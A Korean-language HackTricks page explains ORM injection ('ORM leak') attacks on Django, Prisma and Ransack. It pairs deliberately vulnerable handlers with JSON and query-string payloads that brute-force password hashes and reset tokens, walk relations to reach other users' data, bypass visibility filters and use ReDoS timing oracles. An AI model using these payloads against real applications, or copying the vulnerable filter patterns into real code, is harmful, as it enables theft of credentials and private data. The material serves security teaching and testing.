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ORM Injection

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Django ORM (Python)

이 게시물에서는 예를 들어 다음과 같은 코드를 사용하여 Django ORM을 취약하게 만드는 방법을 설명합니다:

class ArticleView(APIView):
"""
사용자가 기사 검색을 위해 요청을 보내는 기본 API 뷰
"""
def post(self, request: Request, format=None):
try:
            articles = Article.objects.filter(**request.data)
            serializer = ArticleSerializer(articles, many=True)
except Exception as e:
return Response([])
return Response(serializer.data)

모든 request.data(이는 json이 될 것입니다)가 데이터베이스에서 객체를 필터링하는 데 직접 전달되는 방식에 주목하십시오. 공격자는 예상보다 더 많은 데이터를 유출하기 위해 예상치 못한 필터를 보낼 수 있습니다.

예시:

  • 로그인: 간단한 로그인에서 내부에 등록된 사용자의 비밀번호를 유출하려고 시도합니다.

{
"username": "admin",
"password_startswith":"a"
}

비밀번호를 무차별 대입하여 유출될 때까지 시도할 수 있습니다.

  • 관계 필터링: 예상치 못한 열에서 정보를 유출하기 위해 관계를 탐색할 수 있습니다. 예를 들어, 다음과 같은 관계를 가진 사용자가 생성한 기사를 유출할 수 있다면: Article(created_by) -[1..1]-> Author (user) -[1..1]-> User(password).

{
"created_by__user__password__contains":"pass"
}

모든 기사를 작성한 사용자의 비밀번호를 찾는 것이 가능합니다.

  • 다대다 관계 필터링: 이전 예제에서는 기사를 작성하지 않은 사용자의 비밀번호를 찾을 수 없었습니다. 그러나 다른 관계를 따라가면 가능합니다. 예를 들어: Article(created_by) -[1..1]-> Author(departments) -[0..*]-> Department(employees) -[0..*]-> Author(user) -[1..1]-> User(password).

{
"created_by__departments__employees__user_startswith":"admi"
}

이 경우, 우리는 기사를 작성한 사용자들의 부서에서 모든 사용자를 찾고 그들의 비밀번호를 유출할 수 있습니다 (이전 json에서는 사용자 이름만 유출하고 있지만, 이후에는 비밀번호를 유출할 수 있습니다).

  • 사용자와의 Django 그룹 및 권한 다대다 관계 악용: 게다가, AbstractUser 모델은 Django에서 사용자를 생성하는 데 사용되며, 기본적으로 이 모델은 Permission 및 Group 테이블과의 다대다 관계를 가지고 있습니다. 이는 기본적으로 같은 그룹에 있거나 동일한 권한을 공유하는 경우 한 사용자에서 다른 사용자에 접근하는 방법입니다.

# By users in the same group
created_by__user__groups__user__password

# By users with the same permission
created_by__user__user_permissions__user__password

  • 필터 제한 우회: 동일한 블로그 게시물은 articles = Article.objects.filter(is_secret=False, **request.data)와 같은 일부 필터링을 우회할 것을 제안했습니다. is_secret=True인 기사를 덤프하는 것이 가능하며, 관계에서 Article 테이블로 다시 루프를 돌 수 있기 때문에 비밀 기사를 비밀이 아닌 기사에서 유출할 수 있습니다. 결과가 조인되고 is_secret 필드가 비밀이 아닌 기사에서 확인되는 동안 비밀 기사에서 데이터가 유출됩니다.

Article.objects.filter(is_secret=False, categories__articles__id=2)

관계를 악용하면 표시되는 데이터를 보호하기 위한 필터를 우회할 수 있습니다.

  • 오류/시간 기반 ReDoS: 이전 예제에서는 필터링이 작동하는지 여부에 따라 다른 응답을 기대했으며, 이를 오라클로 사용했습니다. 그러나 데이터베이스에서 어떤 작업이 수행되고 응답이 항상 동일할 수 있습니다. 이 시나리오에서는 데이터베이스 오류를 발생시켜 새로운 오라클을 얻을 수 있습니다.

// Non matching password
{
"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"
}

// ReDoS matching password (will show some error in the response or check the time)
{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}

같은 게시물에서 이 벡터에 대한 내용:

  • SQLite: 기본적으로 regexp 연산자가 없음 (서드파티 확장 로드 필요)

  • PostgreSQL: 기본 regex 타임아웃이 없으며 백트래킹에 덜 취약함

  • MariaDB: regex 타임아웃이 없음

Prisma ORM (NodeJS)

다음은 이 게시물에서 추출한 트릭입니다.

  • 전체 찾기 제어:

const app = express();

app.use(express.json());

app.post('/articles/verybad', async (req, res) => {
try {
// 공격자는 모든 prisma 옵션에 대한 전체 제어를 가짐
        const posts = await prisma.article.findMany(req.body.filter)
        res.json(posts);
} catch (error) {
res.json([]);
}
});

전체 자바스크립트 본문이 prisma에 전달되어 쿼리를 수행하는 것을 볼 수 있습니다.

원래 게시물의 예에서, 이는 누군가에 의해 생성된 모든 게시물을 확인하며 (각 게시물은 누군가에 의해 생성됨) 그 누군가의 사용자 정보 (사용자 이름, 비밀번호 등)도 반환합니다.

{
"filter": {
"include": {
"createdBy": true
}
}
}

// Response
[
{
"id": 1,
"title": "Buy Our Essential Oils",
"body": "They are very healthy to drink",
"published": true,
"createdById": 1,
"createdBy": {
"email": "karen@example.com",
"id": 1,
"isAdmin": false,
"name": "karen",
"password": "super secret passphrase",
"resetToken": "2eed5e80da4b7491"
}
},
...
]

다음은 비밀번호가 있는 사용자가 생성한 모든 게시물을 선택하고 비밀번호를 반환합니다:

{
"filter": {
"select": {
"createdBy": {
"select": {
"password": true
}
}
}
}
}

// Response
[
{
"createdBy": {
"password": "super secret passphrase"
}
},
...
]

  • 전체 where 절 제어:

공격자가 where 절을 제어할 수 있는 경우를 살펴보겠습니다:

app.get('/articles', async (req, res) => {
try {
const posts = await prisma.article.findMany({
            where: req.query.filter as any // ORM Leak에 취약
        })
res.json(posts);
} catch (error) {
res.json([]);
}
});

사용자의 비밀번호를 직접 필터링하는 것이 가능합니다:

await prisma.article.findMany({
where: {
createdBy: {
password: {
startsWith: "pas"
}
}
}
})

startsWith와 같은 연산을 사용하면 정보를 leak할 수 있습니다.

  • 다대다 관계 필터링 우회:

app.post('/articles', async (req, res) => {
try {
const query = req.body.query;
query.published = true;
const posts = await prisma.article.findMany({ where: query })
res.json(posts);
} catch (error) {
res.json([]);
}
});

Category -[*..*]-> Article 간의 다대다 관계를 통해 공개되지 않은 기사를 유출할 수 있습니다:

{
"query": {
"categories": {
"some": {
"articles": {
"some": {
"published": false,
"{articleFieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}

모든 사용자를 유출하는 것도 가능하다, 일부 루프백 다대다 관계를 악용하여:

{
"query": {
"createdBy": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"{fieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}

  • Error/Timed queries: 원본 게시물에서는 시간 기반 페이로드로 정보를 유출하기 위해 수행된 매우 광범위한 테스트 세트를 읽을 수 있습니다. 이는:

{
"OR": [
{
"NOT": {ORM_LEAK}
},
{CONTAINS_LIST}
]
}

Where the {CONTAINS_LIST}는 올바른 leak이 발견되었을 때 응답이 지연되도록 하기 위해 1000개의 문자열로 구성된 목록입니다.

Ransack (Ruby)

이러한 트릭은 이 게시물에서 발견되었습니다.

Ransack 4.0.0.0은 이제 검색 가능한 속성과 연관성에 대한 명시적 허용 목록 사용을 강제합니다.

취약한 예:

def index
@q = Post.ransack(params[:q])
@posts = @q.result(distinct: true)
end

참고로 쿼리는 공격자가 보낸 매개변수에 의해 정의됩니다. 예를 들어, 다음과 같이 리셋 토큰을 무차별 대입 공격할 수 있었습니다:

GET /posts?q[user_reset_password_token_start]=0
GET /posts?q[user_reset_password_token_start]=1
...

무차별 대입 공격과 잠재적인 관계를 통해 데이터베이스에서 더 많은 데이터를 유출할 수 있었습니다.

References

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

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